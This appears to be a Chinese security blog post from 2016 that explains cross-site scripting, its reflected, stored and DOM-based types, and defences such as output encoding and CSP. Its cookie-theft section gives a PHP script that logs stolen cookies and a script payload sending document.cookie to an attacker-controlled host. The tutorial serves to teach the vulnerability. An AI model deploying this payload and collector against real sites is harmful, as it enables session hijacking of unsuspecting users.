xss篇-本着就了解安全本质的想法,尽可能的用通俗易懂的语言去解释安全漏洞问题

  前言 最早接触安全也是从xss攻击和sql注入攻击开始的。

0x01    跨站脚本攻击漏洞(XSS),是客户端脚本安全中的头号大敌,owasp top10 屡居榜首,由于攻击手法较多,开发者水平不一,危害性又往往被人忽视,这就造成了xss普遍的存在。

0x02    xss漏洞本质还是注入攻击的一种,为什么叫跨站脚本攻击,跨站就是不同站之间,脚本攻击呢这里的脚本其实是js脚本,所以只要是js能干的事情,xss攻击也就能干,危害主要是会话劫持,钓鱼攻击,获取用户浏览器信息,网页蠕虫,甚至是命令执行(如果是有特权域的xss)等。

0x03    xss根据效果的不同分为以下三类:

  1. 反射型XSS  这种xss只是简单地把用户输入的数据“反射”给浏览器,也就是说,黑客往往需要诱使用户点击一个恶意链接,才能攻击成功
  2. 存储型XSS  这个xss会把用户输入的数据“存储”在服务器端(一般是数据库),相对于非持久性的反射型的xss,这种xss具有很强的隐蔽性,影响也更严重。
  3. Dom型XSS tsrc的这篇文章比较好的介绍了基于dom类型的xss。https://security.tencent.com/index.php/blog/msg/107

0x04 利用xss盗取cookie

  利用xss盗取cookie是常见的一种攻击手法,现在也有一些xss的平台可以使用,也可以自己搭建相关的平台,或者利用BeEF框架进行利用,笔者就通过简短代码来阐述下其中的原理。

首先在自己的vps上如下php代码(用来接收cookie)

1 <?php
2 $cookie = @$_GET['c'];
3 $ip = getenv ('REMOTE_ADDR');
4 $time=date("j F, Y, g:i a");
5 $referer=getenv ('HTTP_REFERER');
6 $fp = fopen('cookies.html', 'a');
7 fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');
8 fclose($fp);
9 ?>

然后在存在xss的地方放入自己的payload。

<script>document.write('<img src="http://ip/getcookie.php?c='+document.cookie+'" width=0 height=0 border=0 />');</script>

这样就get到cookie了。

 

0x05   防御:

     防御思想:输入检查,输出编码

     基于mvc的开发框架中,在view层常用的技术是使用模板引擎对页面做渲染,比如在thinkphp3.2版本中就默认使用了smarty引擎,模板引擎本身会提供一些编码方法,能够很好的防护xss攻击。

     此外各大浏览器也针对xss攻击推出了一些安全措施,比如IE推出的xss Filter功能,Firefox和chrome推出的CSP(Content Security Policy),均起到了一定的防护作用,但是由于xss攻击手法的多样化,还是会被一些xsser给绕过(例如http://wiki.ioin.in/search?word=CSP),这些防护策略也在不断的更新,安全性也会越来越好。

    安全开发培训,定期组织安全开发内部培训和技术交流,比如CSP策略的配置,树立安全开发意识和规范,使程序员写出安全的代码。

posted @ 2016-12-31 20:58  晴天v  阅读(470)  评论(0编辑  收藏  举报